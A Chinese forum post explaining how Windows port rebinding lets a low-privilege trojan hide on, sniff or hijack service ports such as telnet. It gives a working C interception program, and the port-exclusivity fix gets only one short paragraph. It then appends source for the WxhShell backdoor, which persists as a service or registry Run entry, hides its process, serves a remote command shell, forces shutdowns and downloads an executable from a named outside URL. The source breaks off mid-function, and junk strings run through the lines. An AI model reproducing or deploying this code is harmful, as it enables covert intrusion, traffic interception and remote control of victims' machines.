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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &R0OeRToUb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &EGY+p|2Y  
n)Hk8)^8  
  saddr.sin_family = AF_INET; RAdvIIQp:  
T[m ~6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^xmZ|f-  
2!{N[*)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rEg+i@~  
.u&|e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bt0djJRw  
Gk{W:866  
  这意味着什么?意味着可以进行如下的攻击: $u&|[vcP0  
|O%:P}6c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O<bDU0s{M  
%OuX`w=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )2#vhMpdN  
nx D'r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tb:    
FBcm;cjH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M,ppCHy/$  
BZ2nDW*%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l~CZW*/  
I>d I[U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Wf_CR(  
9y;y7i{>?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .Dc28F~t  
!W 0P `i<  
  #include Jm%mm SYK  
  #include ofVEao  
  #include OA!R5sOz"  
  #include    vP-3j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KU*`f{|  
  int main() ^P]?3U\nj  
  { `B:B7Cpvn  
  WORD wVersionRequested; (/('nY  
  DWORD ret; 2B5A!? ~>  
  WSADATA wsaData; S3b|wUf  
  BOOL val; iJEB ?y  
  SOCKADDR_IN saddr; N\c &PS  
  SOCKADDR_IN scaddr; 9/FG,9  
  int err; 4,gol?a  
  SOCKET s; =rtS#u Y  
  SOCKET sc; ,0BR-#  
  int caddsize;  4c  
  HANDLE mt; ;5-R =e(KA  
  DWORD tid;   ]sf2"~v  
  wVersionRequested = MAKEWORD( 2, 2 ); zoJ_=- *s  
  err = WSAStartup( wVersionRequested, &wsaData ); Oi6f8*,  
  if ( err != 0 ) { P= &'wblm?  
  printf("error!WSAStartup failed!\n"); : x>I- 3G  
  return -1; P"oYC$  
  } sg+ZQDF{x  
  saddr.sin_family = AF_INET; z|Hy>|+  
   =DGn,i9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 44Q6vb?  
'" ^ B&W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qPL^zM+  
  saddr.sin_port = htons(23); r9+E'\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 83\ o (  
  { B>{|'z?%>  
  printf("error!socket failed!\n"); FLVbkW-G.  
  return -1; @][ a8:Y9I  
  } "xL;(Fqu  
  val = TRUE; lv=yz\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e 4 p*51ra  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q-A`/9  
  { ~8XX3+]z:X  
  printf("error!setsockopt failed!\n"); hN Z4v/  
  return -1; 14mXx}O  
  } N>Vacc_[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P'-JbPXU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y')O>C0~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fui4@  
S`ax*`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hO5K\QnRL  
  { YgO aZqN  
  ret=GetLastError(); *?EO n-  
  printf("error!bind failed!\n"); (~q#\  
  return -1; \Oi5=,  
  } 1M7\:te*  
  listen(s,2); pg} ~vb"  
  while(1) V?U%C%C|e  
  { =Jsg{vI  
  caddsize = sizeof(scaddr); <$RS*n  
  //接受连接请求 _8,vk-,'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j l;kcGE  
  if(sc!=INVALID_SOCKET) N$N;Sw  
  { 5%2ef{T[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "Czz,;0  
  if(mt==NULL) fR+Ov8PCq  
  { 73'U#@g6  
  printf("Thread Creat Failed!\n");  R4&|t  
  break; 3*CzXK>`M&  
  } 7 JxE |G  
  } Z}sG3p  
  CloseHandle(mt); d9`3EP)n  
  } y_}K?  
  closesocket(s); ~C}(\8g  
  WSACleanup(); ?2J S&i  
  return 0; z*Myokhf  
  }   9\AEyaJFZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7$g*N6)Q  
  { ^U-vD[O8  
  SOCKET ss = (SOCKET)lpParam; Ymwx (Pm  
  SOCKET sc; Sf+(1_^`t  
  unsigned char buf[4096]; I>A^5nk  
  SOCKADDR_IN saddr; bs<WH`P  
  long num; Y{%4F%Oy  
  DWORD val; R=][>\7]}  
  DWORD ret; Qh)|FQ[s$r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !L &=?CX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Zp/qs z(]  
  saddr.sin_family = AF_INET; ^2&O3s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Uq9,(tV`6g  
  saddr.sin_port = htons(23); wQF&GGY R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {B'Gm]4  
  { ()+jrrK  
  printf("error!socket failed!\n"); sh',"S#=@  
  return -1; L#t-KLJ  
  } 2 ||KP|5@  
  val = 100; R-g>W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M!xm1-,[  
  { (hhdbf  
  ret = GetLastError(); 5@w'_#!)  
  return -1; BxSk%$J  
  } xm<5S;E5U4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "-0pz\a  
  { jw`&Np2Q  
  ret = GetLastError(); pl jV|.?  
  return -1; {u(}ED#p  
  } x?k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A^T~@AO  
  { #U ",,*2  
  printf("error!socket connect failed!\n"); "sX [p  
  closesocket(sc); DuTlYXM2^  
  closesocket(ss);  2.HZ+1  
  return -1; 'U|MM;(  
  } 9J-!o]f .b  
  while(1) NDs]}5#   
  { /{eih]`x(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .LeF|EQU\@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9G`FY:(K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >.!5M L\  
  num = recv(ss,buf,4096,0); .d#G]8suF  
  if(num>0) 42n@:5`{+  
  send(sc,buf,num,0); +P> A P&  
  else if(num==0) X]+(c_i:hC  
  break; *sc0,'0  
  num = recv(sc,buf,4096,0); f^[{k {t  
  if(num>0) bMK#^ZoH  
  send(ss,buf,num,0); Y\z^\k  
  else if(num==0) ,p[\fT($]  
  break; nJ'>#9~a'>  
  } V'HlAQr  
  closesocket(ss); #VQGN2bK.  
  closesocket(sc); S`GXiwk  
  return 0 ; C$AIP\j- )  
  } Hnd9T(UB  
)|{1&F1  
JR? )SGB  
========================================================== i(&6ys5  
'y+bx?3Z  
下边附上一个代码,,WXhSHELL s60:0>  
NE=#5?6%g7  
========================================================== _Cv[`e.  
6*(h9!_T1  
#include "stdafx.h" vUo.BA#;.b  
^ RcIE (  
#include <stdio.h> ery?G-  
#include <string.h> ^H\-3/si*  
#include <windows.h> aowPji$H  
#include <winsock2.h> W[1f]w3  
#include <winsvc.h> PtPGi^  
#include <urlmon.h> Dj,+t+|  
&G7)s%q  
#pragma comment (lib, "Ws2_32.lib") w{:Oa7_A  
#pragma comment (lib, "urlmon.lib") XoH[MJC  
*Lb(urf  
#define MAX_USER   100 // 最大客户端连接数 Dvq*XI5  
#define BUF_SOCK   200 // sock buffer gT5Ji~xI  
#define KEY_BUFF   255 // 输入 buffer _ RT"1"r  
JucxhjV#,  
#define REBOOT     0   // 重启 i)ES;b4  
#define SHUTDOWN   1   // 关机 HYI1 o/}  
764}yV>  
#define DEF_PORT   5000 // 监听端口 +>i<sk  
)bIK0h  
#define REG_LEN     16   // 注册表键长度 #v~S",*.f  
#define SVC_LEN     80   // NT服务名长度 z`xz~9a<  
"j.oR}s9?#  
// 从dll定义API XTi0,e]5{u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $3]E8t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (4{@oM#H6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oQ-|\?{;A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hD6ur=G8u  
02# b:  
// wxhshell配置信息 FB =  
struct WSCFG { 3"^)bGe  
  int ws_port;         // 监听端口 `!Ge"JB6   
  char ws_passstr[REG_LEN]; // 口令 LDi ez i  
  int ws_autoins;       // 安装标记, 1=yes 0=no o+X'(!Trw  
  char ws_regname[REG_LEN]; // 注册表键名 Gwrx) Mq  
  char ws_svcname[REG_LEN]; // 服务名  +,F= -  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p^zEfLTU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d_W nK{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wf`Oye Rz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~Q$c!=   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @k:f}-t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :AqnWy  
1 <qVN'[  
}; .X<"pd*@e  
0LHiOav  
// default Wxhshell configuration RESGI}u  
struct WSCFG wscfg={DEF_PORT, j]F#p R}p  
    "xuhuanlingzhe", #/B~G.+(  
    1, O275AxaN  
    "Wxhshell", IYM@(c@ld0  
    "Wxhshell", `~aLSpB65  
            "WxhShell Service", u>Axq3F  
    "Wrsky Windows CmdShell Service", -B3w RAEt  
    "Please Input Your Password: ", 9i2vWSga  
  1, C_^R_  
  "http://www.wrsky.com/wxhshell.exe", ?/l}(t$H  
  "Wxhshell.exe" iz  GaV[  
    }; Y(I*%=:$  
|H+k?C-w  
// 消息定义模块 3]kAb`9[K2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y%?!AmER  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $Pb[ c%'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qLW-3W;WUH  
char *msg_ws_ext="\n\rExit."; TNyY60E  
char *msg_ws_end="\n\rQuit."; R SWB!-  
char *msg_ws_boot="\n\rReboot..."; 48&KdbGX  
char *msg_ws_poff="\n\rShutdown..."; fssL'DD  
char *msg_ws_down="\n\rSave to "; P #2TM  
$OFFH[_z  
char *msg_ws_err="\n\rErr!"; 1:{O RX[;  
char *msg_ws_ok="\n\rOK!"; jXDzjt94J  
Uhx2 _  
char ExeFile[MAX_PATH]; 7dg 5HH  
int nUser = 0; nxh/&%  
HANDLE handles[MAX_USER]; C@?e`=9(  
int OsIsNt; %`T^qh_dE  
*(SBl}f4l  
SERVICE_STATUS       serviceStatus; A$"$`)P!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZV<y=F*~f  
Ff#N|L'9_  
// 函数声明 fN*4(yw  
int Install(void); S5pP"&I[  
int Uninstall(void); tSXjp  
int DownloadFile(char *sURL, SOCKET wsh); {}_Oo%IVGK  
int Boot(int flag); n,Mw# r?y  
void HideProc(void); Y)j,(9  
int GetOsVer(void); 5$"[gdt)T  
int Wxhshell(SOCKET wsl); ={i&F  
void TalkWithClient(void *cs); +$mskj0s  
int CmdShell(SOCKET sock); HG3>RcB  
int StartFromService(void); ,cO)Sxj  
int StartWxhshell(LPSTR lpCmdLine); $ p1EqVu  
rgZ rE;*;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @Kb|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8H`l"  
j&G~;(DY  
// 数据结构和表定义 W4rw;(\  
SERVICE_TABLE_ENTRY DispatchTable[] = fi4/@tV?$L  
{ % /4_|@<'  
{wscfg.ws_svcname, NTServiceMain}, J%[N-  
{NULL, NULL} -qCJwz30  
}; }9Dv\"t5  
$Q$d\Yvi  
// 自我安装 vLT12v:)`  
int Install(void) fm:{&(  
{ fUWm7>6VA>  
  char svExeFile[MAX_PATH]; 0?L$)T-B  
  HKEY key; S| -{wC%  
  strcpy(svExeFile,ExeFile); w>q_8V_K  
]aW.b_7<9  
// 如果是win9x系统,修改注册表设为自启动 [ MXXY  
if(!OsIsNt) { w*ktx{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &fy8,}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x2&! PpM  
  RegCloseKey(key); o-CJdOS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "N/K*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1H[;7@o$e  
  RegCloseKey(key); QEHZ=Yg%3  
  return 0; vAhO!5]>\  
    } >E,L"&_j  
  } wG[l9)lz  
} 7<Js'\Z  
else { yhn $4;m  
.p0n\ $r  
// 如果是NT以上系统,安装为系统服务 d\Z4?@T<5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lR K ?%~  
if (schSCManager!=0) COL8YY  
{ 0|Ft0y`+  
  SC_HANDLE schService = CreateService 9*Twx&  
  ( iR5soIR  
  schSCManager, E|uXi)!.x  
  wscfg.ws_svcname, \*"0wR;[K  
  wscfg.ws_svcdisp, 4sE=WPKF#  
  SERVICE_ALL_ACCESS, -^ ayJ73  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $I0a2Z=dP  
  SERVICE_AUTO_START, W2(=m!:U  
  SERVICE_ERROR_NORMAL, xs`gN  
  svExeFile, %7wzGtM]ps  
  NULL, k#+^=F^)I  
  NULL, AX Jj"hN  
  NULL, *ik)>c_  
  NULL, B=/=U7T  
  NULL &>4$ [m>n  
  ); 9U1!"/F  
  if (schService!=0) g#3x)97Z  
  { |wn LxI  
  CloseServiceHandle(schService); F7Yuky  
  CloseServiceHandle(schSCManager); e14 Q\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I}0 -  
  strcat(svExeFile,wscfg.ws_svcname); I,?LZ_pK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5P2FNUKL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4qR Q,g{$T  
  RegCloseKey(key); ]b=A/*z  
  return 0; Yy~Dg  
    } *YOnX7*Km  
  } 8-6{MJ?F  
  CloseServiceHandle(schSCManager); vKLG9ovlY  
} d }CMX$1  
} (X'K)*G#  
u}0t`w:  
return 1; xW )8mv?4n  
} U]&%EqLS  
-* j;  
// 自我卸载 BeCr){,3  
int Uninstall(void)  ]= D  
{ *4\ub:9  
  HKEY key; ^w}Ib']X  
o"CqVRR  
if(!OsIsNt) { yf>,oNIAg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1@@]h!>k:  
  RegDeleteValue(key,wscfg.ws_regname); ~;a* Oxt  
  RegCloseKey(key); )p](*Z^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GDe$p;#"9g  
  RegDeleteValue(key,wscfg.ws_regname); >%A=b}VS  
  RegCloseKey(key); $k=rd#3  
  return 0; Du4?n8 o  
  } *Y>'v%  
} fkG"72 95A  
} ;yoq/  
else { r2`?Ta  
aq**w?l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TK1M mL  
if (schSCManager!=0) 5Z0x2 jV  
{ w8zQDPVB%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N.J:Qn`(  
  if (schService!=0) EE{%hGb  
  { sA j$U^Gp  
  if(DeleteService(schService)!=0) { 1x 8]&  
  CloseServiceHandle(schService); :udZfA\sW  
  CloseServiceHandle(schSCManager); "q8 'tN><  
  return 0; ~_6rD`2cJ  
  } y!Eh /KD  
  CloseServiceHandle(schService); bJvRQrj*3  
  } cZi&L p  
  CloseServiceHandle(schSCManager); artS*fv3r  
} N4FG_  N  
} M QI=  
VAz+J  
return 1; !1]xKNp ]  
} eVJL|uI|  
P=g+6-1  
// 从指定url下载文件 KJ |1zCM  
int DownloadFile(char *sURL, SOCKET wsh) oOvbel`;  
{ \8H"lcj:  
  HRESULT hr; oOw"k*,h:S  
char seps[]= "/"; ^ `9OA`2  
char *token; g M.(BN  
char *file; iE{SqX  
char myURL[MAX_PATH]; c73ZEd+j  
char myFILE[MAX_PATH]; AS398L  
#6nA^K}  
strcpy(myURL,sURL); IEj`:]d  
  token=strtok(myURL,seps); Z r*ytbt  
  while(token!=NULL) FL}8h/  
  { @bE?WXY  
    file=token; zj}efv<e  
  token=strtok(NULL,seps); w}0PtzOe  
  } =!2   
e<pojb1Q  
GetCurrentDirectory(MAX_PATH,myFILE); _TiF}b!hi  
strcat(myFILE, "\\"); Z H*?~ #  
strcat(myFILE, file); uDUSR+E>  
  send(wsh,myFILE,strlen(myFILE),0); B$n\m854  
send(wsh,"...",3,0); dWEx55>,1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m[rJFSpef  
  if(hr==S_OK) -A~<IyPt  
return 0; MsiSC  
else n%hnL$!z  
return 1; vOU -bF%u  
?z.`rD$}(n  
} l K%Hb=  
a$-ax[:\sm  
// 系统电源模块 _t7A'`Dh]  
int Boot(int flag) g.qp _O  
{ hHQt4 r'd  
  HANDLE hToken; Obm\h*$  
  TOKEN_PRIVILEGES tkp; :>u{BG;=79  
e!y t<[ph  
  if(OsIsNt) { 0Oq1ay^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mNzZ/*n:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e78}  
    tkp.PrivilegeCount = 1; 6C=.8eP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nfEk,(:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xae7#d0  
if(flag==REBOOT) { T/nRc_I+^B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6{ Eh={:b  
  return 0; 1U!CD-%(  
} 5,3h'\ "!  
else { '>8N'*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D[_2:8  
  return 0; mv_-|N~  
} 4i\n1RW  
  } j  jQ=  
  else { S45jY=)z  
if(flag==REBOOT) { ]](hwj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]H*=Z:riu  
  return 0; )ALcmC?!#  
} z'o+3 zq^  
else { O@VmV>m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ki2_Nh>tM  
  return 0; j yE+?4w;  
} ]v@,>!Wn  
} CEiG jo^  
f3O'lc3  
return 1; [?A0{#5)8x  
} #N:o)I  
0n%`Xb0q  
// win9x进程隐藏模块 x :s-\>RcA  
void HideProc(void) 3zkq'lZ  
{ U-d&q>_@A  
aE}u5L$#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {Ffr l(*  
  if ( hKernel != NULL ) bk 2vce&  
  { 2epL!j)Wh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uu:BN0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =:lacK(0  
    FreeLibrary(hKernel); <cS1}"  
  } o z QL2  
& |r)pl0$  
return; ;NEHbLH#F  
} <_}u5E)7(  
_XN sDW4|  
// 获取操作系统版本 E;SF f  
int GetOsVer(void) ;C3](  
{  zcc]5>  
  OSVERSIONINFO winfo; [F e5a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vKxwv YDe  
  GetVersionEx(&winfo); GauIe0qV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (Qnn  
  return 1; &7cy9Z~m  
  else z]pH'c39  
  return 0; #F kdcY  
} y}8j_r  
>A6lX)  
// 客户端句柄模块 tO#y4<  
int Wxhshell(SOCKET wsl) #Uo 9BM  
{ <?!#QA  
  SOCKET wsh; 8Vp"}(Q  
  struct sockaddr_in client; N gr7E  
  DWORD myID; D<:9pLD(  
>:.Bn8-  
  while(nUser<MAX_USER) 3s+D x$Ud  
{ :?zOLw?(  
  int nSize=sizeof(client); 1*s Lj#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @d)6LA9Ec  
  if(wsh==INVALID_SOCKET) return 1; q;U[f6JjE  
N9hBGa$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 16AYB17  
if(handles[nUser]==0) 9tJiIr8i  
  closesocket(wsh); Ood&cP'c  
else #u>JCPz  
  nUser++; k&^fIz  
  } crUXpD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dS-l2 $n  
6D>o(b2  
  return 0; sXAXHZ{  
} m$3&r2vgi  
m]85F^R0  
// 关闭 socket aX~7NslR  
void CloseIt(SOCKET wsh) Vki3D'.7N  
{ UGIyNMY  
closesocket(wsh); o(}vR<tD\  
nUser--; TMbj]Mso  
ExitThread(0); ) Limt<S  
} =2< >dM#`  
`5 bHZ  
// 客户端请求句柄 >-Jutr<I"~  
void TalkWithClient(void *cs) E[ ,Ur`>:  
{ \D0Pik@?  
S%'t )tt,  
  SOCKET wsh=(SOCKET)cs; <EJC.W WJa  
  char pwd[SVC_LEN]; /" ,]J  
  char cmd[KEY_BUFF]; R/iXO~/"J  
char chr[1]; SH"O<c Dp  
int i,j; jZ)1]Q2  
{'JoVJKv  
  while (nUser < MAX_USER) { 0q81H./3  
&<4Jyhm:o  
if(wscfg.ws_passstr) { V^"5cW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /Ue~W, |  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M Su_*&j9T  
  //ZeroMemory(pwd,KEY_BUFF); R{/nlS5  
      i=0; vU::dr  
  while(i<SVC_LEN) { &R25J$  
XvWUJ6M  
  // 设置超时 ,?728pfw  
  fd_set FdRead; iCx}v[;Ol  
  struct timeval TimeOut; `uY77co6  
  FD_ZERO(&FdRead); (c_E*>c)  
  FD_SET(wsh,&FdRead); ! fY'^Ya?  
  TimeOut.tv_sec=8; Go8 m  
  TimeOut.tv_usec=0; :\>@yCD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {qK>A?9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )D Y?Y-n  
@xR=bWY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 074)(X&:x  
  pwd=chr[0]; kLK}N>v}X  
  if(chr[0]==0xd || chr[0]==0xa) { VXQ~PF]z0  
  pwd=0; W2s6!_AN  
  break; JS} iNS'X  
  } D >$9(  
  i++; jCkYzQUPz  
    } aVEg%8  
;BsyN[bF  
  // 如果是非法用户,关闭 socket }Til $TT%H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x^&D8&4^  
} ry0P\wY}  
!IF#L0z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pxjb^GZ0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7xqTTN6h  
-Z9e}$q$,  
while(1) { JHBX'1GQa  
sSU p7V  
  ZeroMemory(cmd,KEY_BUFF); 26?yEd6^Z  
pkQEry&Z  
      // 自动支持客户端 telnet标准   h{#Hwp  
  j=0; [WW3'= e^  
  while(j<KEY_BUFF) { A@4sb W_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |bA\>%~  
  cmd[j]=chr[0]; 3U^E<H  
  if(chr[0]==0xa || chr[0]==0xd) { Xf(H_&K  
  cmd[j]=0; qf-0 | w  
  break; rZEL7{  
  } /SO 4O|b  
  j++; f5'Cq)Vw_  
    } < j^8L^  
{FNmYneh?6  
  // 下载文件 4-1=1)c*  
  if(strstr(cmd,"http://")) { +G)L8{FY(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hX;JMQ915  
  if(DownloadFile(cmd,wsh)) e'Njl?>3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Em?bV(  
  else DvhJkdLB>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A%(t'z  
  } &?59{B. mD  
  else { :(ni/,~Q  
TL'^@Y7X5  
    switch(cmd[0]) { g$+ $@~  
  j6}/pe*;;T  
  // 帮助 O!xul$9  
  case '?': { N;gI %6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?> )(;Ir9  
    break; u)J&3Ah%  
  } GI']&{  
  // 安装 v"-@'qN'  
  case 'i': { d|I?%LX0p  
    if(Install()) kzozjh%`9h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "h58I)O  
    else |T3F:],`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m%7T ~  
    break; I8M^]+c  
    } 7 G37V"''  
  // 卸载 D[#6jJ Ab  
  case 'r': { 4b5'nu  
    if(Uninstall()) JlaT -j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H.-VfROi2  
    else J7a_a>Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rW),xfo0  
    break; oQ YmywY  
    } f i#p('8  
  // 显示 wxhshell 所在路径 $1KvL8  
  case 'p': { cug=k  
    char svExeFile[MAX_PATH]; ey!QAEg"X1  
    strcpy(svExeFile,"\n\r"); I.'(n8*  
      strcat(svExeFile,ExeFile); df9 jT?l  
        send(wsh,svExeFile,strlen(svExeFile),0); ~&{LMf  
    break; pd%h5|*n;  
    } 'fo.1  
  // 重启 ):<9j"Z;At  
  case 'b': { mLGbwm'K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S1SsJo2\  
    if(Boot(REBOOT)) 5|:t$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 s&9A/&pC  
    else { $OGTHJA  
    closesocket(wsh); s\/$`fuhx  
    ExitThread(0); J A!?vs  
    } >/J!:Htk+K  
    break; 0*y|k1  
    } _|1m]2'9  
  // 关机 Wy:xiP  
  case 'd': { MVDEVq0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0vYHx V  
